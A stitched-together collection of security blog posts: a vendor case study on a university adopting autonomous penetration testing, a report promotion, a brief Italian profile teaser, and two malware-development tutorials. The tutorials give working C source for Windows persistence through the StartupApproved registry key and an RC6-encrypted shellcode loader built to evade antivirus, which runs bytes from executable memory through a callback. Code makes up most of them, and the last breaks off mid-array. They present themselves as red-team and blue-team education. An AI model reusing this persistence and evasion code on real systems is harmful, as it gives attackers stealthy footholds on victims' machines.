Given the pivotal role of education in shaping future leaders and driving innovation, safeguarding the integrity and security of educational systems is paramount. The educational sector continues to be a prime target for cyber threat actors due to its vast repositories of sensitive data, ranging from student records to innovative research findings. As universities increasingly rely on digital platforms for administrative functions, online learning, and collaborative research endeavors, the volume and diversity of data stored within their systems become lucrative targets for cybercriminals. Breaches not only compromise the confidentiality of student and faculty information but also undermine the institution’s reputation and erode trust among stakeholders. Moreover, the interconnected nature of academic networks exposes them to a wide array of cyber-attacks, including phishing attempts, malware, ransomware, exploits, and data breaches, which can disrupt operations and compromise the integrity of academic activities. By prioritizing cybersecurity, educational institutions not only fulfill their duty to protect the interests of their stakeholders but also contribute to the broader goal of building a secure and resilient digital ecosystem that fosters innovation, collaboration, and learning.

About Moravian University

  • Moravian University’s liberal arts education prepares each individual for a reflective life, fulfilling careers, and transformative leadership in a world of change.
  • Year Founded: 1742
    (6th oldest college in America)
  • Number of Staff: 372
  • Operational Reach: Moravian University is a small private institution known for offering undergraduate and graduate degrees that blend a leadership focus, career development, and global experiences with liberal arts programs. Moravian University is committed to making our private education affordable to as many students as possible.

Playing by the Book

Additional to safeguarding information and networks, educational institutions are also subject to various laws and regulations governing data protection, privacy, and cybersecurity. Compliance with these requirements is not only a legal obligation but also essential for maintaining the institution’s reputation, avoiding penalties, and protecting against cyber-attacks. This may include standards such as the General Data Protection Regulation (GDPR), the Health Insurance Portability and Accountability Act (HIPAA), the Payment Card Industry Data Security Standard (PCI DSS), and various other State and Federal higher education regulatory policies and guidance. For our higher education customers, a key aspect of compliance includes conducting continuous cyber risk assessments of their environments. This not only ensures they comply with regulations, but to also find, fix and remediate potential cybersecurity vulnerabilities within their environment before cyber threat actors exploit them.

As explained by alumni and Director of Information Security at Moravian University, Jim Beers,

Compliance is one of the main driving factors behind why Moravian needed to implement solutions that identify vulnerabilities so that we can fix them quickly.

Being with Moravian for over 25 years, Jim innately understands the need for higher education institutions to implement tools to ensure compliance and see their environment as an attacker does. Like many others in Jim’s situation, implementing solutions (such as pentesting) is crucial for universities to proactively identify and address security vulnerabilities, fortifying their digital infrastructure against cyber threats and ensuring the confidentiality, integrity, and availability (CIA) of sensitive academic and personal data.

However, unlike Jim, many educational organizations often opt to do the minimum in cybersecurity compliance. Limited budgets and resources often constrain their ability to invest in robust cybersecurity measures. Additionally, often there is a lack of awareness or understanding of the evolving cyber threats and regulatory requirements at the leadership and administrative levels. The decentralized nature of many educational institutions, with numerous departments and stakeholders operating independently, can create challenges in implementing cohesive cybersecurity policies and practices. This can also result in the perception that cybersecurity is not a top priority compared to other competing demands within the institution.

Moravian University: Remediation Guidance

What these organizations fail to realize is that a once a year traditional pentest often costs more than an autonomous solution that continuously assesses their environment. Additionally, traditional vulnerability scanners are good at identifying and describing vulnerabilities in general, but often fall short in providing actionable guidance. Jim explains, β€œour past vulnerability scanner told me what vulnerabilities were of high or low severity and if there is an exploit, but it didn’t tell me why…there was too much information without enough direction or actionable insights.” For an educational institution to proactively stay ahead of threats, Jim needed to look further and find a solution that not only saved him time and frustration, but also provided him with immediate results and fix actions to quickly resolve vulnerabilities before threat actors exploit them.

Enter NodeZeroTM

Jim wanted to get away from basic vulnerability scanners and adopt something that could not only meet regulatory and compliance requirements but one that could exceed them. His goal was to β€œmove from a limited theoretical vulnerability scanner to a scanner that allows me to see more information and reports on the things that can really be exploited.” Additionally, his current vulnerability scanner was β€œsomewhat expensive” and was limited in its scanning capability, along with its poor actionable results. Jim was also concerned that his current tools could not scan and illuminate their entire network, highlighting that β€œsecurity is about visibility, and you have to know what is there to protect, and our ability to do that was limited.” As the Department of Education (DoE) continues to implement more stringent cyber policies, regulations, and guidance, pentesting is the main driver for compliance across the board. That coupled with cyber insurance requirements, Jim explains, β€œthey [DoE and insurers] want to see that you’re identifying exploitable vulnerabilities and you’re fixing them,” and the only way to do that is through continuous assessments.

The things that you [NodeZero] are finding, we didn’t know existed.

Too new – let’s go traditional

We often hear that some of our higher education customers were hesitant to move from traditional, manual pentesting efforts to an autonomous pentesting solution like NodeZero. Some universities may be inclined to stick with traditional pentesting methods due to familiarity, comfort, and the perception of reliability. Many institutions may have established relationships with pentesting firms or internal teams that have been conducting tests using traditional methodologies for years. Additionally, there might be a lack of awareness about the limitations of traditional pentesting and the advantages of newer autonomous pentesting solutions.
However, most educational institutions that use traditional (manual) pentesting approaches tend to pentest one time to meet regulatory compliance requirements. Moravian did just that. Jim explains that before he explored solutions like Horizon3.ai’s NodeZero, they had β€œdone one traditional pentest nearly 10 years ago, and it was a hefty sum.” Furthermore, Jim’s management thought that these emerging autonomous solutions were too new to the market, and that traditional pentesting was reliable, even if it was pricey. They implemented another traditional pentesting effort prior to choosing NodeZero. β€œFor the amount we paid, [the pentesters] did a good job, but it was not exactly what they expected,” says Jim. The results Jim received from the traditional pentest were good, but he explained that β€œit was a one and done test…I have all year to fix the issues, but the environment keeps evolving and changing as we are going along…next year, how am I going to be surprised in the next pentest and during that gap, what if something goes wrong and I don’t know about it?”

Shifting to an Autonomous State of Mind

As Jim is keenly aware of the evolving cyber landscape, he decided that continuous, autonomous pentesting would not only meet compliance standards, but keep Moravian at the forefront of proactively securing their environment and keeping sensitive data safe. After their second time using traditional pentesting was somewhat unsuccessful, Jim decided it was time to give NodeZero a chance.

Moravian University: Verifying Fixes Work

Right away, Jim realized that they had made the right decision, especially because NodeZero now allowed Moravian to implement unlimited testing of their environment, as well as the ability to schedule pentests at will. He also mentioned that NodeZero allows him to β€œcheck for vulnerabilities, find out how they’re exploited, and then fix it immediately…I was amazed at how easy it was…I can use the 1-click verify shopping cart to quickly verify our remediations, saving countless hours.” With NodeZero, customers can ensure fix actions were properly implemented with 1-click verify, enabling them to quickly check that remediations fixed the issues. Further, Jim explains how NodeZero PDF reports and CSV files are highly informative, allowing him β€œto download it all as a package, slice and dice as needed, and get them distributed to the right people.”

On top of that, Jim also noted that he liked that he β€œcould spin up NodeZero on different parts of the network and try to get into a place that I didn’t think we could get to…testing my defenses and giving me visibility.” NodeZero doesn’t just scan your network, it looks at your network as an attacker would. Our attack paths show how an attacker weaves into a network and what they did to get domain admin, host compromise, or sensitive data exposure, for example. He was also impressed with our proactive Rapid Response capability outside of NodeZero’s interface, calling to an additional Follow, Alert, and Review (FLARE) notification he received via email from our Customer Success and Engineering teams.

β€œStarting about 5 years ago, we had a 6.8% response rate [to phishing campaigns] and we’re down to .22%”

Moravian University: Phishing Concerns

Lastly, Jim mentioned that one of β€œthe biggest risks [to Moravian] is users coughing up their credentials because they were phished.” Recently added to NodeZero, customers can now harness the Phishing Impact test that allows security professionals to integrate into their existing phishing training and awareness platforms. Jim thinks that this test will be eye opening, and help organizations shift policies and guidance to better educate staff. Jim says, β€œusing phished credentials from the phishing test and injecting them in other pentests would be a lesson for not only the individual whose credentials were phished, but for the entire institution about how quickly something could happen.” His goal is to use the new capability to educate management and staff as to why phishing is a huge risk to their organization and what can be done to continue driving their response rate down.

My first impression was ease of use…to be able to just copy and paste a command and BAM! You’re inside attacking my network!

β€œCompliance drove us to trying to find a pentesting solution”

Moravian University: Vulnerability Prioritization

NodeZero revolutionizes the landscape for educational institutions seeking an autonomous pentesting solution, empowering a proactive strategy to illuminate how an attacker sees their environment. Additionally, NodeZero also enables institutions to comply with and exceed State and Federal higher education regulatory policies and guidance. β€œTo sum it all up, compliance drove us in trying to find a pentesting solution, but what you had to offer [Horizon3.ai] covered not only pentesting, but vulnerability management,” says Jim. NodeZero provides universities and alike with actionable insights and prioritized recommendations for remediation, as well as the ability to verify fix actions. This enables security teams to focus their efforts on addressing the most critical vulnerabilities first.

Overall, while traditional pentesting methods may have served higher educational institutions well in the past, we have witnessed first-hand that the transition to an autonomous pentesting solution like NodeZero offers countless benefits, including enhanced efficiency, scalability, adaptability, and actionable insights, hardening the institution’s cybersecurity posture in an increasingly complex threat landscape.

Download PDF

The post Empowering Educational Compliance: Navigating the Future with Autonomous Pentesting in Academia appeared first on Horizon3.ai.

Elevate Your Cybersecurity Strategy: Download the 2023 Year in Review

In our groundbreaking 2023 Year in Review, Horizon3.ai delves into the transformative approach of autonomous pentesting with NodeZero. This pivotal document is your gateway to mastering proactive cybersecurity defense mechanisms.

Here’s what you'll discover:



The Attacker's Perspective

Learn how thinking like an attacker can uncover hidden vulnerabilities.

ο‡’

Overcoming Common Cyber Threats

Insight into the most prevalent cybersecurity challenges today, including credential issues and software vulnerabilities.

Innovative Mitigation Strategies

Practical guidance on enhancing your security posture through advanced mitigation techniques.



Policy Recommendations

Expert advice on shaping policies to bolster your defenses against emerging threats.

ο”΄

Continuous Security Assessment

The importance of ongoing evaluation and adaptation to stay ahead of cyber adversaries.

Download now to unlock the secrets to a more resilient cybersecurity framework.

The post Elevate Your Cybersecurity Strategy: Download the 2023 Year in Review appeared first on Horizon3.ai.

Malware development: persistence - part 24. StartupApproved. Simple C example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

pers

This post is based on my own research into one of the another interesting malware persistence tricks: via StartupApproved Registry key.

StartupApproved

The very first post in the series about persistence, I wrote about one of the most popular and already classic techniques, via Registry Run keys.

An uncommon Registry entry utilized by the standard β€œstartup” process (i.e., the one mostly controlled by Windows Explorer, such as the Run and RunOnce keys, the Startup folder, etc.) after userinit.exe completes its operation, is located at the following location in the Registry:

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run

Turns out, this key is populated when entries are enabled or disabled via the Windows Task Manager’s Startup tab:

pers

The good news is that we can use this registry path for persistence.

practical example

First of all, check Registry keys by the following command:

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved" /s

pers

At the next step, as usually, create our β€œevil” application (hack.c):

/*
hack.c
simple DLL messagebox
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html
*/

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule,  DWORD  nReason, LPVOID lpReserved) {
  switch (nReason) {
  case DLL_PROCESS_ATTACH:
    MessageBox(
      NULL,
      "Meow-meow!",
      "=^..^=",
      MB_OK
    );
    break;
  case DLL_PROCESS_DETACH:
    break;
  case DLL_THREAD_ATTACH:
    break;
  case DLL_THREAD_DETACH:
    break;
  }
  return TRUE;
}

As usually, just meow-meow messagebox.

Then we just modifying our HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved registry key, like this (pers.c):

/*
pers.c
windows persistence
via StartupApproved
author: @cocomelonc
https://cocomelonc.github.io/malware/2024/03/12/malware-pers-24.html
*/
#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
  HKEY hkey = NULL;

  BYTE data[] = {0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

  const char* path = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\Run";
  const char* evil = "Z:\\2024-03-12-malware-pers-24\\hack.dll";

  LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR) path, 0, KEY_WRITE, &hkey);
  printf (res != ERROR_SUCCESS ? "failed open registry key :(\n" : "successfully open registry key :)\n");

  res = RegSetValueEx(hkey, (LPCSTR)evil, 0, REG_BINARY, data, sizeof(data));
  printf(res != ERROR_SUCCESS ? "failed to set registry value :(\n" : "successfully set registry value :)\n");

  // close the registry key
  RegCloseKey(hkey);

  return 0;
}

As you can the the logic of our Proof of Concept is pretty simple - we set the value of the registry entry to 0x02 0x00... binary value.

demo

Let’s go to see everything in action. First of all, compile our β€œmalware” DLL:

x86_64-w64-mingw32-g++ -shared -o hack.dll hack.c -fpermissive

pers

Then, compile our PoC:

x86_64-w64-mingw32-g++ -O2 pers.c -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

pers

Finally, run it on the victim’s machine. In my case, for Windows 10 x64 v1903 VM, it is looks like this:

.\pers.exe

pers

As you can see, I also checked registry again:

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved" /s

pers

Then, logout and login again:

pers

pers

But unexpectedly it didn’t work for me…

Then, I just update the name of entry:

pers

Logout and login, little bit wait…. and it’s worked perfectly….

pers

pers

So I updated one line in my script:

/*
pers.c
windows persistence
via StartupApproved
author: @cocomelonc
https://cocomelonc.github.io/malware/2024/03/12/malware-pers-24.html
*/
#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
  HKEY hkey = NULL;

  BYTE data[] = {0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

  const char* path = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\Run";
  const char* evil = "C:\\temp\\hack.dll";

  LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR) path, 0, KEY_WRITE, &hkey);
  printf (res != ERROR_SUCCESS ? "failed open registry key :(\n" : "successfully open registry key :)\n");

  res = RegSetValueEx(hkey, (LPCSTR)evil, 0, REG_BINARY, data, sizeof(data));
  printf(res != ERROR_SUCCESS ? "failed to set registry value :(\n" : "successfully set registry value :)\n");

  // close the registry key
  RegCloseKey(hkey);

  return 0;
}

But there is a caveat. Sometimes when I tested this feature, it launched like Skype for me:

pers

pers

As you can see, everything worked perfectly as expected! =^..^= :)

This technique is used by APT groups like APT28, APT29, Kimsuky and APT33 in the wild. In all honesty, this method is widely employed and widespread due to its extreme convenience in deceiving the victims.

I hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.

This is a practical case for educational purposes only.

ATT&CK MITRE: T1547.001
Malware persistence: part 1
APT28
APT29
Kimsuky
APT33
source code in github

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Conosciamo Alessio Romano – Penetration Tester

Il mio primo approccio al mondo dell’informatica, differentemente da quanto ci si aspetterebbe, Γ¨ stato simile a quello di molti altri che, come me, sono nati alla fine degli anni ’90: la prima volta che ho interagito con un computer non ho fatto altro che accenderlo, aprire un file mp3 con il media player di […]

Malware and cryptography 25: encrypt/decrypt payload via RC6. Simple C/C++ example.

ο·½

Hello, cybersecurity enthusiasts and white hackers!

cryptography

In one of my previous posts about cryptography in malware, I considered RC5 encryption, one of the readers asked what would happen if I used RC6 encryption for my payload.

This post is the result of my own research on try to evasion AV engines via encrypting payload with another logic: RC6. As usual, exploring various crypto algorithms, I decided to check what would happen if we apply this to encrypt/decrypt the payload.

RC6

RC6 is a symmetric key algorithm for block encryption designed by Ron Rivest in 1998, four years after the proposal of its predecessor, the RC5 encryption algorithm.

How it works?

RC6 uses a key expansion algorithm to generate round keys from the user-provided key. The key size can vary from 128 bits to 256 bits, making it highly secure.

The encryption process involves iterating through a number of rounds, with each round performing a set of operations on the plaintext. In RC6, each round consists of four main steps: mixing, adding round key, rotation, and modular addition. The output of one round becomes the input for the next round.

The decryption process is the reverse of the encryption process. The ciphertext is divided into blocks of 16 bytes each and decrypted using the round keys in reverse order.

practical example

Let’s implement it. First of all, initializing P and Q. RC6 uses two word-sized constants, P and Q:

#define P32 0xB7E15163
#define Q32 0x9E3779B9

P32 is an arbitrary value derived from the mathematical constant phi (Ο†), specifically Ο† = (sqrt(5) - 1) / 2. It is then multiplied by 2^32.
Q32 is another arbitrary value derived from the golden ratio constant (ψ), specifically ψ = (sqrt(5) + 1) / 2. It is then multiplied by 2^32.

ROTL (Rotate Left) and ROTR (Rotate Right) are bitwise rotation operations. ROTL rotates the bits of a binary number to the left by a specified number of positions.

ROTR rotates the bits of a binary number to the right by a specified number of positions.

#define ROTL(x, y) (((x) << (y & (W_BITS - 1))) | ((x) >> (W_BITS - (y & (W_BITS - 1)))))
#define ROTR(x, y) (((x) >> (y & (W_BITS - 1))) | ((x) << (W_BITS - (y & (W_BITS - 1)))))

In the RC6 algorithm, ROTL and ROTR are used to perform circular shifts of the binary representations of the input data, keys, and intermediate values during encryption and decryption.

Then, the rc6_setup function performs the key expansion. It takes the user-provided key and generates round keys, which are stored in the S` array:

void rc6_setup(const uint8_t *key, WORD S[2 * ROUNDS + 4]) {
  int i, j, s, A, B, L[KEYLEN / sizeof(int)], L32 = KEYLEN / (2 * sizeof(int));

  for (i = KEYLEN - 1, L[KEYLEN / sizeof(int) - 1] = 0; i != -1; i--)
    L[i / sizeof(int)] = (L[i / sizeof(int)] << 8) + key[i];

  for (S[0] = P32, i = 1; i < 2 * ROUNDS + 4; i++)
    S[i] = S[i - 1] + Q32;

  for (A = B = i = j = s = 0; s < 3 * ((2 * ROUNDS + 4) > (2 * L32) ? (2 * ROUNDS + 4) : (2 * L32)); s++, i = (i + 1) % (2 * ROUNDS + 4), j = (j + 1) % (2 * L32))
    S[i] = ROTL((S[i] + A + B), 3), A = S[i] = ROTL((S[i] + A + B), (A + B)), B = L[j] = ROTL((L[j] + A + B), (A + B));
  return;
}

The next one is the rc6_encrypt function. It takes the plaintext and the round keys generated during key expansion and applies the encryption algorithm to produce the ciphertext.Since we have the expanded key in the array S, we can perform the encryption algorithm as specified below. The registers are A,B,C, and D which hold both the input (plaintext) and output (ciphertext). Moreover, the first byte of the plaintext (or ciphertext) is placed in the least-significant byte of A while the last byte of the plaintext is placed in the most-significant byte of D:

void rc6_encrypt(const uint8_t pt[16], const WORD S[2 * ROUNDS + 4], uint8_t ct[16]) {
  WORD A = *(WORD *)(pt + 0), B = *(WORD *)(pt + 4), C = *(WORD *)(pt + 8), D = *(WORD *)(pt + 12), t, u;
  B += S[0], D += S[1];
  for (int i = 1; i <= ROUNDS; i++) {
    t = ROTL(B * (2 * B + 1), 5), u = ROTL(D * (2 * D + 1), 5), A = ROTL(A ^ t, u) + S[2 * i], C = ROTL(C ^ u, t) + S[2 * i + 1], t = A, A = B, B = C, C = D, D = t;
  }
  A += S[2 * ROUNDS + 2], C += S[2 * ROUNDS + 3];
  *(WORD *)(ct + 0) = A, *(WORD *)(ct + 4) = B, *(WORD *)(ct + 8) = C, *(WORD *)(ct + 12) = D;
  return;
}

At the end of ROUNDS rounds, registers A,B,C and D hold the ciphertext.

The decryption process implemented in the rc6_decrypt function. It takes the ciphertext and the round keys generated during key expansion and applies the decryption algorithm to produce the plaintext:

void rc6_decrypt(const uint8_t ct[16], const WORD S[2 * ROUNDS + 4], uint8_t pt[16]) {
  WORD A = *(WORD *)(ct + 0), B = *(WORD *)(ct + 4), C = *(WORD *)(ct + 8), D = *(WORD *)(ct + 12), t, u;
  C -= S[2 * ROUNDS + 3], A -= S[2 * ROUNDS + 2];
  for (int i = ROUNDS; i >= 1; i--) {
    t = D, D = C, C = B, B = A, A = t, u = ROTL(D * (2 * D + 1), 5), t = ROTL(B * (2 * B + 1), 5), C = ROTR(C - S[2 * i + 1], t) ^ u, A = ROTR(A - S[2 * i], u) ^ t;
  }
  D -= S[1], B -= S[0];
  *(WORD *)(pt + 0) = A, *(WORD *)(pt + 4) = B, *(WORD *)(pt + 8) = C, *(WORD *)(pt + 12) = D;
  return;
}

For simplicity I just implemented 20-round encryption.

Finally, the full source code for encryption/decryption payload is:

/*
 * hack.c
 * RC6 implementation
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2024/02/21/malware-cryptography-25.html
*/
#include <stdint.h>
#include <string.h>
#include <math.h>
#include <stdio.h>
#include <windows.h>

#define WORD uint32_t
#define W_BITS 32
#define ROUNDS 20
#define KEYLEN 16

#define P32 0xB7E15163
#define Q32 0x9E3779B9

#define ROTL(x, y) (((x) << (y & (W_BITS - 1))) | ((x) >> (W_BITS - (y & (W_BITS - 1)))))
#define ROTR(x, y) (((x) >> (y & (W_BITS - 1))) | ((x) << (W_BITS - (y & (W_BITS - 1)))))

void rc6_setup(const uint8_t *key, WORD S[2 * ROUNDS + 4]) {
  int i, j, s, A, B, L[KEYLEN / sizeof(int)], L32 = KEYLEN / (2 * sizeof(int));

  for (i = KEYLEN - 1, L[KEYLEN / sizeof(int) - 1] = 0; i != -1; i--)
    L[i / sizeof(int)] = (L[i / sizeof(int)] << 8) + key[i];

  for (S[0] = P32, i = 1; i < 2 * ROUNDS + 4; i++)
    S[i] = S[i - 1] + Q32;

  for (A = B = i = j = s = 0; s < 3 * ((2 * ROUNDS + 4) > (2 * L32) ? (2 * ROUNDS + 4) : (2 * L32)); s++, i = (i + 1) % (2 * ROUNDS + 4), j = (j + 1) % (2 * L32))
    S[i] = ROTL((S[i] + A + B), 3), A = S[i] = ROTL((S[i] + A + B), (A + B)), B = L[j] = ROTL((L[j] + A + B), (A + B));

  return;
}

void rc6_encrypt(const uint8_t pt[16], const WORD S[2 * ROUNDS + 4], uint8_t ct[16]) {
  WORD A = *(WORD *)(pt + 0), B = *(WORD *)(pt + 4), C = *(WORD *)(pt + 8), D = *(WORD *)(pt + 12), t, u;
  B += S[0], D += S[1];
  for (int i = 1; i <= ROUNDS; i++) {
    t = ROTL(B * (2 * B + 1), 5), u = ROTL(D * (2 * D + 1), 5), A = ROTL(A ^ t, u) + S[2 * i], C = ROTL(C ^ u, t) + S[2 * i + 1], t = A, A = B, B = C, C = D, D = t;
  }
  A += S[2 * ROUNDS + 2], C += S[2 * ROUNDS + 3];
  *(WORD *)(ct + 0) = A, *(WORD *)(ct + 4) = B, *(WORD *)(ct + 8) = C, *(WORD *)(ct + 12) = D;
  return;
}

void rc6_decrypt(const uint8_t ct[16], const WORD S[2 * ROUNDS + 4], uint8_t pt[16]) {
  WORD A = *(WORD *)(ct + 0), B = *(WORD *)(ct + 4), C = *(WORD *)(ct + 8), D = *(WORD *)(ct + 12), t, u;
  C -= S[2 * ROUNDS + 3], A -= S[2 * ROUNDS + 2];
  for (int i = ROUNDS; i >= 1; i--) {
    t = D, D = C, C = B, B = A, A = t, u = ROTL(D * (2 * D + 1), 5), t = ROTL(B * (2 * B + 1), 5), C = ROTR(C - S[2 * i + 1], t) ^ u, A = ROTR(A - S[2 * i], u) ^ t;
  }
  D -= S[1], B -= S[0];
  *(WORD *)(pt + 0) = A, *(WORD *)(pt + 4) = B, *(WORD *)(pt + 8) = C, *(WORD *)(pt + 12) = D;
  return;
}

int main() {

  uint8_t key[KEYLEN] = { 0x24, 0x3F, 0x6A, 0x88, 0x85, 0xA3, 0x08, 0xD3, 0x45, 0x28, 0x21, 0xE6, 0x38, 0xD0, 0x13, 0x77 };
  WORD S[2 * ROUNDS + 4];
  rc6_setup(key, S);

  unsigned char data[] = {
    0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
    0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
    0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
    0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
    0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
    0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
    0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
    0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
    0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
    0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
    0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
    0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
    0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
    0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
    0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
    0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
    0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
    0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
    0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
    0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
    0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
    0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
    0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
    0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
  };

  int data_size = sizeof(data);
  int padded_size = (data_size + 15) & ~15; // pad data to the nearest multiple of 16

  printf("original data:\n");
  for (int i = 0; i < data_size; ++i) {
    printf("%02x ", data[i]);
  }
  printf("\n\n");

  unsigned char padded_data[padded_size];
  memcpy(padded_data, data, data_size);

  unsigned char encrypted[padded_size];
  unsigned char decrypted[padded_size];

  for (int i = 0; i < padded_size; i += 16) {
    uint8_t message_chunk[16];
    memcpy(message_chunk, padded_data + i, sizeof(message_chunk));

    rc6_encrypt(message_chunk, S, message_chunk);
    memcpy(encrypted + i, message_chunk, sizeof(message_chunk));

    rc6_decrypt(message_chunk, S, message_chunk);
    memcpy(decrypted + i, message_chunk, sizeof(message_chunk));
  }

  printf("padded data:\n");
  for (int i = 0; i < padded_size; ++i) {
    printf("%02x ", padded_data[i]);
  }
  printf("\n\n");

  printf("encrypted data:\n");
  for (int i = 0; i < padded_size; ++i) {
    printf("%02x ", encrypted[i]);
  }
  printf("\n\n");

  printf("decrypted data:\n");
  for (int i = 0; i < padded_size; ++i) {
    printf("%02x ", decrypted[i]);
  }
  printf("\n\n");

  // Compare decrypted data with original data
  if (memcmp(data, decrypted, data_size) == 0) {
    printf("encryption and decryption successful.\n");
  } else {
    printf("encryption and decryption failed.\n");
  }

  LPVOID mem = VirtualAlloc(NULL, data_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, decrypted, data_size);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (long long int)NULL);

  return 0;
}

As usually, for simplicity, used meow-meow messagebox payload:

unsigned char data[] = {
0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
